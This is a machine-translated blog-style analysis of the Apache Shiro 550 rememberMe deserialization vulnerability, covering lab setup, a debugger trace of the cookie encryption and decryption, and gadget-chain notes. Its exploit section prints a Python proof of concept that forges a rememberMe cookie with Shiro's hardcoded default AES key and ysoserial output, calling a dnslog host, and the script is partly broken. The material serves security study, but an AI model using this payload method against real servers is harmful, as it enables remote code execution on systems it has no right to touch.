Analysis of Shiro 550 deserialization vulnerability in Java Security

Analysis of Shiro 550 deserialization vulnerability in Java Security

Starting from security guest: analysis of Shiro 550 deserialization vulnerability of Java Security

0x00 Preface

In recent times, Shiro can be seen in some penetration or attack and defense drills. It is also Shiro's vulnerability, which is also frequently used. This paper analyzes the shiro550 deserialization vulnerability to understand the vulnerability generation process and utilization.

0x01 vulnerability principle

Shiro 550 deserialization vulnerability exists version: Shiro < 1.2 4. The reason is that Shiro accepts the value of rememberme in the cookie, then decrypts it with Base64, and then deserializes the decrypted data with AES key.

Conversely, if we construct the value as a CC chain serialized value, encrypt the key AES, and then encrypt it with Base64, then we will deserialize our payload content. At this time, we can achieve the effect of a command execution.

获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作

0x02 vulnerability environment construction

Vulnerability environment: https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

Open the Shiro / web directory and open POM XML configuration depends on configuring a CC4 and JSTL component. Later, we will talk about why Shiro comes with commons Collections: 3.2 1. Manually configure a Commons Collections: 4.0.

    <properties>

    <maven.compiler.source>1.6</maven.compiler.source>

    <maven.compiler.target>1.6</maven.compiler.target>

    </properties>

...
<dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!--  这里需要将jstl设置为1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

Pit point

Shiro's compilation is too painful. There are all kinds of pits. Let's row the pits below.

Configure maven \ conf \ toolchains XML, jdk1.xml needs to be specified here 6 path and version. The compilation must be version 1.6, but it does not affect the operation under other versions.

<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

These are compiled after completion.

Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure

There is still a mistake here.

When compiling later, it is switched to Maven 3 Version 1.1. Then you can compile successfully.

However, later, it was found that it could not be accessed during deployment, and there must be another problem with compilation.

Note out the < scope > tags in these two later, and then you can.

Put POM Paste the XML configuration.

<?xml version="1.0" encoding="UTF-8"?>
<!--
  ~ Licensed to the Apache Software Foundation (ASF) under one
  ~ or more contributor license agreements.  See the NOTICE file
  ~ distributed with this work for additional information
  ~ regarding copyright ownership.  The ASF licenses this file
  ~ to you under the Apache License,Version 2.0 (the
  ~ "License"); you may not use this file except in compliance
  ~ with the License.  You may obtain a copy of the License at
  ~
  ~     http://www.apache.org/licenses/LICENSE-2.0
  ~
  ~ Unless required by applicable law or agreed to in writing,~ software distributed under the License is distributed on an
  ~ "AS IS" BASIS,WITHOUT WARRANTIES OR CONDITIONS OF ANY
  ~ KIND,either express or implied.  See the License for the
  ~ specific language governing permissions and limitations
  ~ under the License.
  -->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    <properties>

        <maven.compiler.source>1.6</maven.compiler.source>

        <maven.compiler.target>1.6</maven.compiler.target>

    </properties>
    <parent>
        <groupId>org.apache.shiro.samples</groupId>
        <artifactId>shiro-samples</artifactId>
        <version>1.2.4</version>
        <relativePath>../pom.xml</relativePath>
    </parent>

    <modelVersion>4.0.0</modelVersion>
    <artifactId>samples-web</artifactId>
    <name>Apache Shiro :: Samples :: Web</name>
    <packaging>war</packaging>

    <build>
        <plugins>
            <plugin>
                <artifactId>maven-surefire-plugin</artifactId>
                <configuration>
                    <forkMode>never</forkMode>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.mortbay.jetty</groupId>
                <artifactId>maven-jetty-plugin</artifactId>
                <version>${jetty.version}</version>
                <configuration>
                    <contextPath>/</contextPath>
                    <connectors>
                        <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
                            <port>9080</port>
                            <maxIdleTime>60000</maxIdleTime>
                        </connector>
                    </connectors>
                    <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
                        <filename>./target/yyyy_mm_dd.request.log</filename>
                        <retainDays>90</retainDays>
                        <append>true</append>
                        <extended>false</extended>
                        <logTimeZone>GMT</logTimeZone>
                    </requestLog>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
<!--            <scope>provided</scope>-->
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>net.sourceforge.htmlunit</groupId>
            <artifactId>htmlunit</artifactId>
            <version>2.6</version>
<!--            <scope>test</scope>-->
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jsp-2.1-jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>jcl-over-slf4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!--  这里需要将jstl设置为1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>


</project>

After 2 days of pit drainage, the pit was finally solved. Several photos must be posted here to celebrate.

Enter the account and password and check the reminder me option. Capture packets

Now you can analyze the vulnerability.

0x03 vulnerability analysis

encryption

The vulnerability is generated in cookiermembermemanager. Look at the rememberserializedidentity method.

This method encodes the specified serialized byte array using Base64, and sets the base64 encoded string as the cookie value.

So let's see where the method is called.

You can see that the abstractremebermemanager class inherited from this class calls this method. Follow up and check

It is found that this method is called by the rememberdidentity method. Follow up in the same way.

Here, you will find that the rememberdidentity method will be called by the onsuccessfullogin method. After tracing this step, you will see the successful method of onsuccessfullogin.

When the login is successful, abstractremebermemanager will be called Onsuccessfullogin method, which mainly realizes generating encrypted memberme cookie, and then setting the memberme cookie as the user's cookie value. We implemented it in the rememberserialized identity method we analyzed earlier. Take a look at this code.

Go back to onsuccessfullogin, make a breakpoint, then enter the root / secret password on the web login page to submit, and then go back to the idea to check. After finding the successful login method, we can make a positive analysis, otherwise the method just described is more troublesome.

Here you can see that isrememberme is called. It is obvious that this is to judge whether the user has selected the remember me option.

If the remember me function is selected, it returns true. If this option is not selected, it calls log The debug method outputs a character on the console.

If it is true here, the rememberidentity method will be called and three parameters will be passed in. F7 follow up the method.

As mentioned earlier, this method will generate a principalcollection object containing login information. F7 to follow up the rememberidentity method.

Check the implementation and function of convertprincipalstobytes.

Follow up the method to see the specific implementation.

It's actually very clear to see here. We serialize and return the serialized byte array.

Let's see the next code. If the getcipherservice method is not empty, the next code will be executed. The getcipherservice method is to get the encryption mode.

Or continue to follow up.

When you view the call, you will find that the value is defined in the constructor.

After completing this step, I came here.

Call the encrypt method to process the serialized data. Follow up.

Here, call cipherservice Encrypt method and pass in serialized data, and getencryptioncipherkey method.

From the name, getencryptioncipherkey is the method to obtain the key. Check how to obtain the key.

When checking the call, I found that setcipherkey method was called in the constructor.

View default_ CIPHER_ KEY_ The bytes value will find that a string of keys is defined in it

And this key is defined dead.

Return to the encrypted place.

Select this place to follow up and view the specific implementation.

It is found here that the array and key values serialized earlier will be passed in. Finally, call his overloaded method and pass in the serialized array, key, ivbytes value and generate.

The value of IV is generated by the generateinitializationvector method for follow-up.

See the getdefaultsecurerandom method implementation.

Return to the generateinitializationvector method to continue viewing. This new creates a byte array with a length of 16

Finally, get the ivbytes value and return it.

Here, you will get the value of ivbytes after execution. Here, go back to the encryption method to see the specific implementation of encryption.

Here, the crypt method is called to obtain the encrypted data, and the output is a byte array. The size is the length of the encrypted data plus the length of IV.

IV small tips

Those who do not understand the encryption algorithm can see the secure encryption algorithm of Java security

After execution, the serialized data has been encrypted by AES and a byte array is returned.

After execution, go to this step and follow up.

There's actually nothing to say here. The next step is to set it to the rememberme field of the user's cookie after base64 encryption.

Because we don't know which method to implement such a function. However, when we analyzed encryption earlier, we called abstractmembermemanager Encrypt is used for encryption, and there are corresponding decryption operations in this class. Here, you can check where the method will be called, trace it back to the upper layer, and then go to the next breakpoint.

Check the getremeberedprincipals method and drop the breakpoint here

track

Returns the getmemberedprincipals method.

The convertbytesttoprincipals method is called below to trace.

See the concrete implementation of the decrypt method.

Similar to the previous encryption steps, there is no detailed explanation here.

Generate the IV value and pass it into his overloaded method.

After the execution here, the AES decryption is completed.

Or go back to this step.

The return value of the deserialize method is returned here, and the AES encrypted data is passed in.

Track the method.

Keep tracking.

At this step, we will call the readObject method to deserialize the incoming AES decrypted data.

0x04 vulnerability attack

Vulnerability detection

Now we know that the reason is to obtain the rememberme value, decrypt it, and then deserialize it.

So here, if you get the key, you can forge the encryption process.

An encrypted script found on the Internet

# -*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
    # popen = subprocess.Popen(['java','-jar','ysoserial-0.0.6-SNAPSHOT-all.jar','URLDNS',command],stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java','ysoserial.jar',stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java','JRMPClient',stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')
    # payload = rememberme('calc.exe')
    payload = rememberme('http://u89cy6.dnslog.cn')
    with open("./payload.cookie","w") as fpw:

        print("rememberMe={}".format(payload.decode()))
        res = "rememberMe={}".format(payload.decode())
        fpw.write(res)

After obtaining the value, the encrypted payload can be sent manually on burp for testing.

After sending, you can see the echo on the dnslog platform.

When the urldns chain is used and echoed on the dnslog platform, it indicates that there is a deserialization vulnerability in this place.

However, if you want to use it, you have to use CC chain to execute commands.

Exploit vulnerability

Previously, we manually equipped shio with CC4 components, while Shiro comes with CC3 Why manually configure components in version 2.1?

In fact, Shiro rewrites the resolveclass function of objectinputstream class, and the resolveclass method of objectinputstream uses class The forname class gets the class object of the class referred to by the current descriptor. The rewritten resolveclass method uses classutils forName。 View this method

public static Class forName(String fqcn) throws UnkNownClassException {
    Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader.  Trying the current ClassLoader...");
        }

        clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " + "Trying the system/application ClassLoader...");
        }

        clazz = SYstem_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        String msg = "Unable to load class named [" + fqcn + "] from the thread context,current,or " + "system/application ClassLoaders.  All heuristics have been exhausted.  Class Could not be found.";
        throw new UnkNownClassException(msg);
    } else {
        return clazz;
    }
}

If you pass in a parameter of the transform array at the place where the parameter is passed, an error will be reported.

The latter does not support passing in array types.

The resovleclass uses classloader Loadclass() instead of class Forname(), while classloader Loadclass does not support loading classes of array type

Here, you can use the chain of CC2 and CC4 for command execution, because both of them are implemented based on javassist rather than transform array. Specifically, you can see my analysis and utilization chain article.

In addition to these two, during deployment, it can be found that the component comes with a commonsbeanutils component, which also has a utilization chain. You can use the commonsbeanutils chain for command execution.

So there's no other way? Suppose there is no CC4 component, you can't execute the command? In fact, there are some ways. Wh1t3p1g master has given the solution in the article. We need to reconstruct the utilization chain.

https://www.anquanke.com/post/id/192619#h2-4

https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils

https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A

0x05 end

In this vulnerability, I think the main difficulty is that it took a lot of time to build the environment, and there is a solution that most of the use chains in Shiro can not be used.

The content of this article comes from the network collection of netizens. It is used as a learning reference. The copyright belongs to the original author.
THE END
分享
二维码
< <上一篇
下一篇>>